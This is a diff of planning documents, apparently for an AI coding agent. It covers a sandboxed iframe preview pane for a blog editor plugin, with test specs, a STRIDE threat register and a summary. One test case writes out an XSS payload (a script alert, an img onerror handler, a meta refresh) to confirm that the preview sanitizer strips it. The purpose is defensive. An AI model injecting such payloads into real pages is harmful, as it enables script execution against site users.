+- `conga`: River jobs for herald sends and the video reconciler.
+- `festival`: typed events for user-delete cascades and group lifecycle (D-03, D-08).
+- `goldmark` v1.8.6 is already in `go.mod` (used by cabana). bluemonday, webpush-go and livekit server-sdk-go are new dependencies, each with a decision note.
+- `golang-jwt/jwt/v5`: already decided; shared with webpush-go and possibly livekit.
+- `sm-chat-plugin` (Phase 19): the context registry, conversations and participants that chatvideo, chatbots and userfriends build on.
+
+### Established Patterns
+- A deny-all seam plus a setter, with a Boot warning (P19 D-14), replaces PHP's `$this->app->bind(Contract, DenyAll…)`.
+- Build-time registries replace singletons: `SlashCommandRegistry` (with the reserved `help` trigger, `registerBuiltin`, and duplicate rejection) becomes a Boot-time Go registry.
+- `/_x/api/v1` per plugin, with one serializer set shared by the generic API and the app aliases.
+- A squashed idempotent baseline that adopts the PHP database.
+
+### Integration Points
+- chatbots, chatvideo → `sm-chat-plugin` (hard requirement). userfriends → chat (soft, optional capability). forum and herald → no chat dependency.
+- All five → `sm-user-plugin` (user model, `jwt.auth`, delete events). Herald in PHP required only Apparatus and kept its own `user_id`-keyed table; keep it free of user-model imports beyond the id.
+- The app wires: `ForumAccessResolver`, `BotAuthResolver`, `HeraldProfile`, `PresenceGate`, its slash commands, and group-deleted → `forum.DeleteContext`.
+
+</code_context>
+
+<specifics>
+## Specific Ideas
+
+- On the Markdown module: "Framework module, done with gsd-quick by summer agent. We'll need that in multiple places."
+- The user picked established libraries (webpush-go, livekit server-sdk-go, bluemonday) over hand-rolled stdlib code. Each still gets a decision note under the dependency rule.
+- Generic APIs everywhere, including herald and chatbots, so no host has to rewrite controllers.
+
+</specifics>
+
+<deferred>
+## Deferred Ideas
+
+- The framework Markdown/sanitizer module (D-17): delivered by a separate `/msd-quick` task in `summercms.go`, not by this phase's plans.
+- A `vue-community-layer` or similar frontend components for friends, forum, video and push: once a client other than Wavepath wants them.
+- Wavepath's `/_wave` routes and host seam implementations: with the Wavepath app port.
+
+### Reviewed Todos (not folded)
+- The todo matcher returned only keyword noise (translate editor, cabana richeditor, faq port, mailblocker). None concern the satellites, so none were folded.

+**Date:** 2026-10-09
+**Phase:** 19.1-chat-satellites
+**Areas discussed:** HTTP surface, Herald Web Push lib, ChatVideo LiveKit, Forum Markdown
+
+Scouting facts presented before the questions:
+- chatbots never calls Golem, so success criterion 2's `sm-golem-plugin` clause is vacuous.
+- userfriends is the same commit (`182b514`) in fonoteka and Wavepath and is unused by fonoteka's code.
+- No client calls the satellites' own routes; Wavepath's SPA uses only `/_wave/api/v1/...`.

+  truths:
+    - "The Blog Editor toolbar has a Preview toggle button (data-command preview) labelled 'Preview' for ui-locale en and 'Podgląd' for ui-locale pl through labelsFor. It is off by default with aria-pressed 'false', and each element instance has its own state. Pressing it sets aria-pressed 'true' and shows a preview pane that splits the editor 50/50, a grid with repeat(auto-fit, minmax(min(100%, 360px), 1fr)) columns. When the element is narrower than about 720px, the pane wraps below the editor. Pressing it again hides the pane. The button stays usable in the Source tab and when the element is disabled."
+    - "The pane is an <iframe> whose sandbox attribute is exactly the empty string. It has no allow-scripts or allow-same-origin token, no src and no allow attribute, and it has referrerpolicy no-referrer. Its content is set only through srcdoc. The srcdoc head starts with meta charset, then a Content-Security-Policy meta with PREVIEW_CSP (default-src 'none'; img-src * data:; style-src 'unsafe-inline'), then a no-referrer meta."
+    - "The preview renders immediately when it is switched on. After that, it re-renders PREVIEW_DEBOUNCE_MS (300 ms) after the last WYSIWYG edit, Source tab input or external value set, so it updates live in both modes. While it is off, nothing is scheduled or rendered."
+    - "A YouTube placeholder <figure data-embed=\"youtube\" data-id=\"ID\"></figure>, with an id that matches the provider idPattern, shows as a thumbnail card in the preview: an img with src https://img.youtube.com/vi/ID/hqdefault.jpg and referrerpolicy no-referrer, plus the label '<embedCard>: YouTube ID'. The preview never contains an iframe. The preview copy also drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every on* attribute."
+    - "The preview uses post-body typography from an inline stylesheet in the srcdoc. Its colours and font are concrete values that getComputedStyle reads from the host's --c-* variables at render time and that pass safeCssValue, or neutral defaults otherwise. The srcdoc never contains var(--c-. In blogeditor.css, every selector stays under golem15-journal-blogeditor and every colour is a var(--c-*)."
+    - "Toggling or rendering the preview never dispatches summer-change. It never calls serializeDocument for an untouched document, never dispatches an editor transaction and never writes the stored-value fields. An untouched imported post still returns the exact given string after any number of toggles and renders. smoke.test.ts, corpus.test.ts and the fixtures are not edited and stay green."
+    - "assets/dist is rebuilt and committed, scripts/check-dist.sh prints 'check-dist: assets/dist matches a fresh build', and go vet ./... passes in sm-journal-plugin. The README Blog Editor and Admin sections describe the preview. Every commit is in sm-journal-plugin without co-author tags, and nothing is pushed or deployed."

+<objective>
+Add a toggleable live preview pane to the Journal Blog Editor element (`golem15-journal-blogeditor`) in the sibling repo `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`, like the WinterCMS Blog plugin's preview. A localized "Preview"/"Podgląd" toolbar button splits the editor 50/50. The right pane shows the current HTML in a sandboxed `<iframe srcdoc>` with post-body typography, YouTube placeholders show as thumbnail cards, and the pane updates live with a debounce in both WYSIWYG and Source modes.
+
+Purpose: editors see how the post body will read without leaving the form. The editor's exact-value contract stays intact: an untouched post still saves byte for byte, and previewing never counts as an edit.
+
+Output: a new `preview.ts` module, changes to the element, toolbar, labels and CSS, a new vitest file, the rebuilt and committed `assets/dist`, and README updates. This is three commits in sm-journal-plugin. There is no summercms framework change, and the element contract published in summercms v0.1.18 (the value property, the attributes, summer-change, summer-upload and summer-upload-result) is unchanged.

+
+Facts the planner verified (no need to re-derive):
+- sm-journal-plugin is on branch `main` at `9d5bfc4` (chore(deps): require summercms v0.1.18). The only untracked file is `go.work.sum`, which is never committed. `node_modules/` is installed, so check-dist.sh does not run npm ci.
+- The `value` getter (element.ts) returns `#value` in `clean` mode, which is the exact given string with no serializer call. It returns `#sourceText` in `source` mode. In `wysiwyg` mode it returns `serializeDocument(editor, #blocks)`. `serializeDocument` (serializer.ts) only reads `editor.state.doc` and builds nodes in the inert document. It writes no element state. The preview reads through the getter and nothing else.
+- `inert()` (extensions.ts) is `document.implementation.createHTMLDocument('')`. Markup parsed there or in a `template` created from it loads nothing and runs nothing. RawHtml's renderHTML already uses this pattern.
+- The Embed node accepts a placeholder only when it has exactly two attributes (`data-embed`, `data-id`), no child nodes, `isEmbedProvider(provider)` and the provider's `idPattern` (`^[A-Za-z0-9_-]{11}$`). Its card text is `${labels.embedCard}: ${EMBED_PROVIDERS[provider].name} ${id}`.
+- The admin SPA's CSP (summercms boardwalk) is `frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'`. A srcdoc document inherits it, so img.youtube.com images and an inline `<style>` are allowed, and a pasted `<base>` is already blocked. A srcdoc document also inherits the parent's base URL, so relative image URLs such as `/storage/...` resolve against the admin origin.
+- happy-dom 20.11.6 (the vitest environment) returns inline custom properties from `getComputedStyle(el).getPropertyValue('--c-x')` (probed). It reflects `iframe.srcdoc` and `sandbox` to attributes. Tests read `getAttribute('srcdoc')` and `getAttribute('sandbox')` and never `contentDocument`.
+- The smoke test `toolbar > offers every D-04 feature` queries `button[data-command=...]` per command, and no test counts buttons or children, so an extra button and wrapper divs break nothing.
+
+Executor runtime notes:
+- The user's login shell is fish. Run anything with bash syntax through `bash -c '...'`. Every verify command below is already wrapped.
+- Code commits go to sm-journal-plugin with `git -C /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin ...`. Stage explicit paths only. Commit messages carry no co-author tags or trailers (user rule, overrides any default attribution). Do not push and do not deploy.
+- If npm or pnpm fails with a read-only store or cache error (`/tmp/.pnpm-store` belongs to another user), rerun with `TMPDIR` and the cache pointed into the session scratchpad, for example `bash -c 'S=/tmp/claude-1002/-media-nvme-dev-golem15-summercms-io-summercms-summercms-go/9d521e8a-c2b5-4e55-bdcd-429b1ab44bfc/scratchpad; mkdir -p $S/tmp $S/npm-cache; cd /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin && TMPDIR=$S/tmp npm_config_cache=$S/npm-cache npm run build'`. For pnpm, use `--store-dir $S/pnpm-store`.
+- Use `node_modules/.bin/vitest` and `node_modules/.bin/vite`, never `npx` (no network installs). No package is added. package.json and package-lock.json stay byte-identical.
+- The orchestrator commits the planning docs (this PLAN, the SUMMARY and STATE). The executor commits only code in sm-journal-plugin.

+  <behavior>
+    New file tests/blogeditor/preview.test.ts. At the top, vi.mock the serializer module ('../../assets/src/blogeditor/serializer') with importOriginal: re-export everything and wrap serializeDocument in vi.fn around the real function. afterEach calls vi.useRealTimers(), vi.mocked(serializeDocument).mockClear() and document.body.replaceChildren(). Reuse mount, button and click from ./helpers, and the fixture from './fixtures/imported-post.html?raw'.
+    - Toggle: mount('<p>Hello</p>'). button(el, 'preview') has the text 'Preview', aria-label 'Preview' and aria-pressed 'false'. el.querySelector('.blogeditor__preview') is hidden. After a click, aria-pressed is 'true', the pane is not hidden, '.blogeditor__panes' has class 'blogeditor__panes--split', and the iframe's srcdoc already contains '<p>Hello</p>' with no timer advanced. Another click gives aria-pressed 'false', a hidden pane and no split class.
+    - Locale: with ui-locale 'pl' the button text and aria-label are 'Podgląd' and the iframe title is 'Podgląd wpisu'. With en the title is 'Post preview'.
+    - Per element: mount two elements and toggle the first. The second's button keeps aria-pressed 'false' and its pane stays hidden.
+    - Usable everywhere: after el.showSource(true), and separately with the disabled attribute set, the preview button is not disabled and a click turns the preview on.
+    - Sandbox: iframe.getAttribute('sandbox') is exactly ''. The attribute string matches neither /allow-scripts/ nor /allow-same-origin/. The iframe has no src or allow attribute, and referrerpolicy is 'no-referrer'. The srcdoc contains the PREVIEW_CSP meta (http-equiv Content-Security-Policy with content PREVIEW_CSP) and '<meta name="referrer" content="no-referrer">'.
+    - Untouched value: mount(fixture) and keep const before = editor.state.doc. Toggle on, off and on again. Then changes is [], el.value toBe fixture, editor.state.doc toBe before (no transaction ran), serializeDocument was not called, and the srcdoc contains 'Jan Kowalski'. Setting el.value = fixture afterwards emits nothing.
+    - Touched value: mount('<p>a</p>'), insert 'X' at position 1 (one user edit), then toggle on. changes has length 1, the srcdoc contains '<p>Xa</p>', serializeDocument was called (the touched path goes through the getter), and toggling off and on adds no summer-change.
+  </behavior>
+  <action>
+Work only in /media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin (see the runtime notes). This task wires one path end to end: button, element, preview module, iframe. It also builds the final security shape of the frame. Task 2 adds the content transforms and live updates.
+
+1. labels.ts: add `preview` and `previewFrame` to the Labels interface and to both tables. In en they are 'Preview' and 'Post preview'. In pl they are 'Podgląd' and 'Podgląd wpisu'. labelsFor and the element's ui-locale reading stay the only locale mechanism.
+
+2. Create assets/src/blogeditor/preview.ts as a pure module with no element state. It exports:
+   - `PREVIEW_SANDBOX = ''`: the iframe's sandbox attribute value, an empty token list, which is the most restrictive sandbox (no scripts, opaque origin, no forms, popups or top navigation).
+   - `PREVIEW_CSP = "default-src 'none'; img-src * data:; style-src 'unsafe-inline'"`.
+   - `PREVIEW_DEBOUNCE_MS = 300` (used from Task 2).
+   - `interface PreviewOptions { labels: Labels; lang?: string | null }`.
+   - `buildPreviewDocument(html: string, options: PreviewOptions): string`. It returns a full document: a doctype, then an html element, then a head with meta charset utf-8. The http-equiv Content-Security-Policy meta whose content is PREVIEW_CSP and the meta name=referrer content=no-referrer follow, and nothing else comes before them in head. The body wraps the HTML in `article class="post-body"`. In this task the HTML is inserted as given. Task 2 adds previewBody, the stylesheet and lang.
+   - Doc comments state why: the sandbox blocks scripts from pasted HTML and gives the frame an opaque origin, and CSS variables do not cross into the frame.
+
+3. toolbar.ts:
+   - ToolbarHost gains `togglePreview: () => void`. Toolbar gains `setPreview: (on: boolean) => void`, which sets the preview button's aria-pressed to 'true' or 'false'.
+   - After the tabs, append a `div.blogeditor__view` holding one button. Give it type button, data-command 'preview', textContent labels.preview, title and aria-label labels.preview, and an initial aria-pressed of 'false'. Its mousedown calls preventDefault (it keeps the editor selection, like the other buttons) and its click calls host.togglePreview().
+   - It is a toggle, not a tab. Keep it out of the role=tablist div and out of the `buttons` array, so refresh() never disables it. The preview is read-only, so it works in the Source tab, with the disabled attribute and before an editor exists.
+
+4. element.ts:
+   - Add private state: `#previewOn = false` (per instance, off by default, never stored anywhere), `#panes`, `#previewPane`, `#previewFrame` and `#previewTimer`.
+   - In connectedCallback, append the mount and the textarea inside `div.blogeditor__main`, which sits inside `div.blogeditor__panes`. Follow it with `div.blogeditor__preview`, created hidden and holding the iframe. Keep the existing append order otherwise: toolbar, forms, panes, status, file input.
+   - Create the iframe with setAttribute('sandbox', PREVIEW_SANDBOX), referrerpolicy 'no-referrer' and title labels.previewFrame. Never add a sandbox token, src, allow or allowfullscreen.
+   - Pass `togglePreview: () => this.showPreview(!this.#previewOn)` to buildToolbar. At the end of connectedCallback, call showPreview(true) when #previewOn is already true (a re-attached element).
+   - Add a public `showPreview(on: boolean): void`. It sets #previewOn and returns if the panes are not built yet. Otherwise it sets the pane's hidden to !on, toggles the class `blogeditor__panes--split` on #panes and calls toolbar.setPreview(on). When on, it renders right away through #renderPreview(). When off, it clears the pending timer.
+   - Add `#renderPreview()`. It clears the timer and returns unless #previewOn and the frame exist. It reads the HTML only through the value getter (`this.value`), then sets `frame.srcdoc = buildPreviewDocument(html, { labels: this.#labels })`. The preview path never calls editor.getHTML(), #load, setContent, captureBlocks or #emitChange. It never dispatches a transaction and never assigns #value, #mode, #sourceText, #parsed or #blocks. So an untouched document never reaches serializeDocument, and nothing in the stored-value path changes.
+   - In disconnectedCallback, clear #previewTimer and keep #previewOn.
+
+5. blogeditor.css: every new selector starts with golem15-journal-blogeditor, and every colour is a var(--c-*).
+   - `.blogeditor__view` is a flex row with a 2px gap, like `.blogeditor__tabs`.
+   - `.blogeditor__panes--split` is a grid with `grid-template-columns: repeat(auto-fit, minmax(min(100%, 360px), 1fr))`. That gives two equal 1fr columns (50/50) when the element is at least about 720px wide. Below that it gives one column, with the preview wrapping below the editor, because auto-fit collapses the empty tracks. No media query is needed, and the element's width drives it rather than the viewport's.
+   - `.blogeditor__main` gets min-width 0.
+   - `.blogeditor__preview` is a flex container with min-width 0, min-height 360px, background var(--c-surface) and a 1px var(--c-border) divider that reads in both arrangements, for example an outline.
+   - Its iframe gets display block, flex 1 1 auto, width 100%, min-height 360px, border 0 and background var(--c-surface).
+   - The existing [hidden] rule hides the pane when it is off. Existing rules stay as they are.
+
+6. Write tests/blogeditor/preview.test.ts per the behavior block. Do not edit smoke.test.ts, corpus.test.ts, helpers.ts or anything under fixtures.
+
+7. Run `npm run build`, then `bash scripts/check-dist.sh`, `npm test` and `go vet ./...`, all inside bash -c. Stage only this task's files and commit in sm-journal-plugin with the subject `feat(editor): toggleable preview pane in a sandboxed frame` and a two-line body (the toggle and split, the empty sandbox with srcdoc only and the value getter as the only read). Add no co-author trailer and do not stage go.work.sum.

+    - embed.ts (EMBED_PROVIDERS, isEmbedProvider, idPattern) and, in extensions.ts, the inert() function and the Embed node's parseHTML getAttrs and addNodeView card text (use grep -n to find the lines, then read only those ranges)
+    - the .ProseMirror content rules in blogeditor.css (headings, lists, blockquote, code, table, figure), which the preview typography mirrors
+  </read_first>
+  <behavior>
+    Add these to tests/blogeditor/preview.test.ts. Call vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] }) after mount and before the toggle, and advance only by explicit amounts.
+    - WYSIWYG live update: mount('<p>a</p>') and toggle on, so the srcdoc has '<p>a</p>'. Insert 'X' at 1. The srcdoc is unchanged after advanceTimersByTime(PREVIEW_DEBOUNCE_MS - 1) and contains '<p>Xa</p>' after advancing 1 more ms.
+    - Debounce reset: make an edit, advance 200, make a second edit, advance 200. The srcdoc still shows neither edit. After advancing 100 more it shows both.
+    - Source mode: call showSource(true), set the textarea to '<h2>From source</h2>' and dispatch input. After PREVIEW_DEBOUNCE_MS the srcdoc contains '<h2>From source</h2>'. changes is exactly ['<h2>From source</h2>'] (the input only; the render adds nothing).
+    - External value: with the preview on, set el.value = '<p>New</p>'. After the debounce the srcdoc contains '<p>New</p>' and changes is [].
+    - Off means idle: toggle on, then off, then edit and advance 1000 ms. The srcdoc is unchanged from the last render.
+    - Detach: make an edit with the preview on, call el.remove(), then advance 1000 ms. No error is thrown and the srcdoc is unchanged.
+    - Untouched after renders: mount(fixture), toggle on, then advanceTimersByTime(1000). changes is [], el.value toBe fixture and serializeDocument was not called.
+    - Embed card: mount('<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>') and toggle on. The srcdoc contains 'https://img.youtube.com/vi/dQw4w9WgXcQ/hqdefault.jpg', 'referrerpolicy="no-referrer"' and 'Embedded video: YouTube dQw4w9WgXcQ'. With ui-locale pl it contains 'Osadzone wideo: YouTube dQw4w9WgXcQ'. The srcdoc matches no /<iframe/i, and el.value equals the placeholder string exactly.
+    - Invalid placeholder: '<figure data-embed="youtube" data-id="short"></figure>' gives a srcdoc with no 'img.youtube.com'.
+    - Active content in the copy only: value '<p>a</p><script>alert(1)</script><iframe src="https://example.test/"></iframe><img src="/x.png" onerror="alert(1)"><meta http-equiv="refresh" content="0;url=https://example.test/">'. The srcdoc matches none of /<script/i, /<iframe/i, /onerror/i or /http-equiv="refresh"/i, and still contains '<p>a</p>' and 'src="/x.png"'. el.value equals the given string exactly and changes is [].
+    - Colours: set el.style.setProperty('--c-text', 'rgb(1, 2, 3)') before toggling, and the srcdoc contains 'rgb(1, 2, 3)'. No srcdoc ever contains 'var(--c-'. With no variables set, the srcdoc contains PREVIEW_DEFAULTS.colors.text.
+    - safeCssValue unit cases: an empty value, a value with '}', a value with '<', a value with ';' and a 201-character value all return the fallback. ' rgb(1, 2, 3) ' returns 'rgb(1, 2, 3)', and '"DM Sans", sans-serif' is returned unchanged.
+    - Lang and typography: with locale 'pl' the srcdoc contains '<html lang="pl">'. With locale 'pl"><x' it has no lang attribute. The srcdoc has one style element with rules for '.post-body', 'blockquote', 'figcaption' and '.embed-card', and the body wraps the content in '<article class="post-body">'.
+  </behavior>
+  <action>
+TDD: add the behavior cases first and run `node_modules/.bin/vitest run tests/blogeditor/preview.test.ts`. Note in the SUMMARY which cases fail against Task 1, then implement until the whole suite is green.
+
+1. preview.ts:
+   - Export `interface PreviewColors` with the fields surface, text, muted, border, borderStrong, subtle and primary. Export `PREVIEW_DEFAULTS = { colors, fontFamily }`. Use neutral light-theme constants: a white surface, near-black text, a mid-grey muted colour, light-grey and darker-grey borders, an off-white subtle colour and a blue primary. The font stack is system-ui with sans-serif fallbacks.
+   - Export `safeCssValue(value, fallback)`. It returns the trimmed value, or the fallback when the value is empty, longer than 200 characters, or contains a less-than, greater-than, curly brace, semicolon, backslash or a CSS comment opener. A host value can then never close the style element or inject a rule.
+   - Export `resolvePreviewColors(host: Element): { colors: PreviewColors; fontFamily: string }`. It reads getComputedStyle(host).getPropertyValue for --c-surface, --c-text, --c-muted, --c-border, --c-border-strong, --c-subtle and --c-primary, plus the computed fontFamily, each through safeCssValue with its PREVIEW_DEFAULTS fallback.
+   - Export `youtubeThumbnail(id)`, which returns the https://img.youtube.com/vi/ID/hqdefault.jpg URL. Call it only for ids that passed the provider idPattern, so no unchecked text reaches a URL.
+   - Export `previewBody(html: string, labels: Labels): string`. It works on a copy:
+     - Parse the copy into a template element created from inert().
+     - Remove the script, iframe, frame, frameset, object, embed, meta, base and link elements, and every attribute whose lowercased name starts with 'on'. This is defense in depth on top of the sandbox, and the stored value never changes.
+     - Replace each figure[data-embed] that is exactly the editor's placeholder with a card. "Exactly" means two attributes, no child nodes, isEmbedProvider(provider) and EMBED_PROVIDERS[provider].idPattern accepting the id, the same test as the Embed node's parse rule. The card is a figure with class embed-card holding an img and a figcaption. The img has src youtubeThumbnail(id), an empty alt, referrerpolicy no-referrer, loading lazy, width 480 and height 360. The figcaption's textContent is `${labels.embedCard}: ${EMBED_PROVIDERS[provider].name} ${id}`, the editor card's text, set through textContent so it is escaped.
+     - Leave any other figure[data-embed] as it is, with no thumbnail request.
+     - Return the copy's HTML through a div in the inert document.
+   - Extend PreviewOptions with `colors?: PreviewColors` and `fontFamily?: string`. In buildPreviewDocument:
+     - Put the html element's lang attribute only when options.lang matches /^[A-Za-z]{2,3}(-[A-Za-z0-9]{1,8})*$/.
+     - Add one style element after the two metas, holding the post-body typography built from the given colours and font, with PREVIEW_DEFAULTS for anything missing.
+     - Wrap previewBody(html, labels) in the article.
+   - The typography mirrors the editor's .ProseMirror content rules, so the preview reads like a post body:
+     - body: margin 0, padding 16px 20px, background surface, colour text, a 16px font with 1.7 line-height in the resolved family, overflow-wrap anywhere.
+     - .post-body: max-width 72ch with auto side margins.
+     - Headings h1 to h4 at weight 600 with sizes 1.875em, 1.5em, 1.25em and 1.1em and margin 1.4em 0 0.5em.
+     - p, ul, ol, blockquote, table, figure and pre: margin 0 0 1em.
+     - ul uses disc and ol uses decimal, each with 1.5em left padding.
+     - Links: primary colour, underlined.
+     - blockquote: a 3px borderStrong left border, 1em left padding and the muted colour.
+     - code and pre: on the subtle colour with a monospace stack. pre gets padding and an 8px radius.
+     - hr: a borderStrong top border.
+     - img: max-width 100%, height auto.
+     - Tables: collapse borders at full width. td and th get a 1px borderStrong border, 4px 8px padding and vertical-align top. th gets the subtle background, weight 600 and left alignment.
+     - figcaption: 13px, muted, margin-top 4px.
+     - .embed-card: max-width 480px, a 1px border-colour border, an 8px radius, overflow hidden and the subtle background. Its img gets display block, width 100%, aspect-ratio 16/9 and object-fit cover. Its figcaption gets 8px 12px padding and margin 0.
+   - The stylesheet uses only the concrete resolved values.
+
+2. element.ts:
+   - Add `#schedulePreview()`. It returns unless #previewOn and the frame exist. Otherwise it clears the pending timer and sets #previewTimer = setTimeout(() => this.#renderPreview(), PREVIEW_DEBOUNCE_MS).
+   - Call it in four places:
+     - in the editor's onUpdate after #emitChange, which covers WYSIWYG typing, toolbar commands, undo and redo
+     - at the end of #sourceInput (the Source tab)
+     - at the end of the value setter after #load (an external value; the echo early return stays first, so an echo schedules nothing)
+     - in attributeChangedCallback (locale changes the preview lang)
+   - #renderPreview now passes `lang: this.getAttribute('locale')` and the result of resolvePreviewColors(this) to buildPreviewDocument. It skips assigning srcdoc when the built document equals the current srcdoc attribute, which avoids a needless reload.
+   - Nothing else changes in the value, mode or event logic. The preview still reads only through the value getter.
+
+3. Run `npm run build`, `bash scripts/check-dist.sh`, `npm test` and `go vet ./...` through bash -c. Commit only this task's files with the subject `feat(editor): live preview with embed cards and post typography` and a short body (the 300 ms debounce in both modes, thumbnail cards with no player, the preview-copy element and attribute drop, and colours resolved from the host). Add no co-author trailer.

+  <name>Task 3: README Blog Editor and Admin sections, final gate</name>
+  <files>../sm-journal-plugin/README.md</files>
+  <read_first>
+    - README.md, the "### Blog Editor" and "### Admin: Blog Editor field types" sections (grep -n for the headings, then read that range only)
+    - preview.ts as committed, so every identifier and value the README names matches the code
+  </read_first>
+  <action>
+1. In "### Blog Editor", extend the toolbar sentence of the first paragraph so it also lists a Preview toggle.
+
+2. Add a bullet that starts with "**Preview.**" after the "Embeds" bullet. It states:
+   - The Preview button ('Podgląd' for ui-locale pl) is off by default and per element. It shows its state through aria-pressed.
+   - It splits the editor 50/50, and the pane wraps below the editor when the element is narrower than about 720px.
+   - The pane renders the current value from the WYSIWYG or Source tab 300 ms (`PREVIEW_DEBOUNCE_MS`) after the last change. Each update reloads the frame.
+   - The frame is an `<iframe srcdoc>` with an empty `sandbox` attribute, so no scripts run and its origin is opaque. It has `referrerpolicy="no-referrer"` and a Content-Security-Policy meta (`PREVIEW_CSP`) that allows only inline styles and images.
+   - The preview copy leaves out script, iframe, frame, frameset, object, embed, meta, base and link elements and event handler attributes.
+   - YouTube placeholders show as thumbnail cards loaded from img.youtube.com, never as a player. This, with the post's own images, is the only network traffic the pane makes.
+   - The styling is post-body typography, with `--c-*` values read from the element at render time or neutral defaults.
+   - Previewing never fires `summer-change` and never changes the value, so an untouched post is still saved byte for byte.
+
+3. In "### Admin: Blog Editor field types", add one sentence after the type table: both types show the element's Preview pane, and previewing never changes what a save stores.
+
+4. Name no consuming application. Every identifier you name (`PREVIEW_DEBOUNCE_MS`, `PREVIEW_CSP`, `summer-change`) must exist in the code.
+
+5. Commit README.md alone with the subject `docs(readme): blog editor preview pane` and no co-author trailer.
+
+6. Run the final gate in the verify command, and do not push. In the SUMMARY:
+   - Record the three commit SHAs.
+   - Record the bundle sizes before and after (the 16.2-02 baseline was 466,051 bytes).
+   - Note that the 50/50 split, the narrow-width wrap, real sandbox enforcement and thumbnail loading are a browser check for the user, which happy-dom cannot do.

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| stored or admin-pasted post HTML → preview iframe | Untrusted markup (raw HTML blocks, Source tab text, imported posts) is rendered as a live document for the first time in the admin |
+| preview iframe → admin origin | The admin page holds the session, the admin DOM and the SPA state; the preview document must not reach them |
+| preview iframe → third parties (img.youtube.com, image hosts) | Rendering triggers network requests from the administrator's browser |
+| host page CSS (--c-* values) → srcdoc stylesheet | Values computed from the admin's CSS are interpolated into the preview document |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-iwu-01 | Elevation of Privilege (script execution, admin XSS) | element.ts preview iframe, preview.ts buildPreviewDocument | high | mitigate | The iframe's sandbox attribute is exactly '' (PREVIEW_SANDBOX), so no scripts run. Content enters only through srcdoc, with no src and no allow. The srcdoc inherits the admin CSP (script-src 'self') and adds PREVIEW_CSP (default-src 'none'). previewBody also drops script, iframe, frame, frameset, object, embed, meta, base and link elements and every on* attribute from the copy. The Task 1 test pins sandbox === '' with no allow-scripts. The Task 2 test pins the active-content drop. |
+| T-iwu-02 | Information Disclosure (admin origin, session, DOM) | preview iframe origin | high | mitigate | There is no allow-same-origin token, so the srcdoc document has an opaque origin. It cannot read admin cookies, storage, the parent DOM or the SPA, and the parent never reaches into contentDocument. The Task 1 sandbox test pins this. |
+| T-iwu-03 | Information Disclosure (third-party requests) | YouTube thumbnail cards, post images | low | mitigate | A thumbnail is requested only while the preview is switched on (off by default), and only for ids that pass the provider idPattern. The thumbnail URL is youtubeThumbnail(id), so no free text reaches a URL. The img has referrerpolicy no-referrer, the srcdoc has a no-referrer meta, and the admin's same-origin Referrer-Policy is inherited, so the admin URL never leaks. PREVIEW_CSP limits network access to images: fonts, stylesheets, frames and media are blocked. Residual risk (accepted): the administrator's IP and user agent reach img.youtube.com, the same exposure every site visitor gets from the layer's player. |
+| T-iwu-04 | Tampering (stored value integrity) | element.ts #renderPreview and #schedulePreview | medium | mitigate | The preview reads only the value getter: clean returns the exact string, source returns the Source text, and wysiwyg calls the pure serializeDocument. It never calls getHTML, setContent, #load or #emitChange, never dispatches transactions and never writes value fields. Tests assert no summer-change, el.value === fixture, editor.state.doc identity and serializeDocument not called for an untouched post. smoke.test.ts and corpus.test.ts stay unedited and green. |
+| T-iwu-05 | Spoofing (navigation, phishing from previewed links) | preview iframe | low | mitigate | The empty sandbox blocks top navigation, popups and form submission, so a click on a previewed link can only navigate the sandboxed frame itself. The meta refresh element is dropped from the copy, and the inherited base-uri 'none' blocks a pasted base element. |
+| T-iwu-06 | Tampering (CSS injection into srcdoc) | preview.ts resolvePreviewColors and safeCssValue | low | mitigate | Every computed --c-* value and the font family pass safeCssValue. A value that contains characters able to close the style element or start a rule (angle or curly brackets, semicolon, backslash, comment opener), or that runs over 200 characters, falls back to PREVIEW_DEFAULTS. Unit cases cover each. |
+| T-iwu-07 | Denial of Service (render per keystroke on long posts) | element.ts #schedulePreview | low | mitigate | A 300 ms debounce applies, nothing runs while the preview is off, the timer is cleared on toggle off and on disconnect, and an identical srcdoc is not re-assigned. Tests cover the debounce reset, the idle-when-off case and detach. |
+| T-iwu-SC | Tampering | npm/pip/cargo installs | low | accept | No package is added. The Task 1 to Task 3 gates diff package.json and package-lock.json against 9d5bfc4. The build uses the committed lockfile through check-dist.sh. |

+# Quick 261010-iwu Plan 01: Blog Editor Live Preview Pane Summary
+
+A per-element Preview/Podgląd toggle on the Journal Blog Editor splits the editor 50/50 with an auto-fit grid. The second pane is an `<iframe srcdoc>` with an empty `sandbox` attribute, a CSP meta and a no-referrer meta. It re-renders 300 ms after the last change in WYSIWYG or Source mode, shows YouTube placeholders as img.youtube.com thumbnail cards and uses post-body typography with colours resolved from the host's `--c-*` variables. It reads only the value getter, so an untouched post still saves byte for byte.

+
+## What was built
+
+- **labels.ts:** `preview` / `previewFrame` labels: 'Preview' / 'Post preview' (en) and 'Podgląd' / 'Podgląd wpisu' (pl).
+- **toolbar.ts:** a `div.blogeditor__view` holding `button[data-command=preview]` with `aria-pressed`, placed outside the tablist and the `buttons` array so `refresh()` never disables it. Adds `ToolbarHost.togglePreview` and `Toolbar.setPreview`.
+- **element.ts:**
+  - Per-instance `#previewOn` (off by default) and a public `showPreview(on)`.
+  - The editor and the Source textarea now sit inside `div.blogeditor__main`, which is inside `div.blogeditor__panes`, next to a hidden `div.blogeditor__preview`.
+  - The iframe is created lazily with `sandbox=""` and `referrerpolicy=no-referrer`.
+  - `#renderPreview()` reads only `this.value` and skips an identical srcdoc.
+  - `#schedulePreview()` debounces renders. It is called from onUpdate, `#sourceInput`, the value setter (after the echo early return) and attributeChangedCallback.
+  - The timer is cleared on toggle-off and on disconnect.
+- **preview.ts:**
+  - Constants and `safeCssValue`.
+  - `resolvePreviewColors`, which uses getComputedStyle with fallbacks to `PREVIEW_DEFAULTS`.
+  - `youtubeThumbnail`.
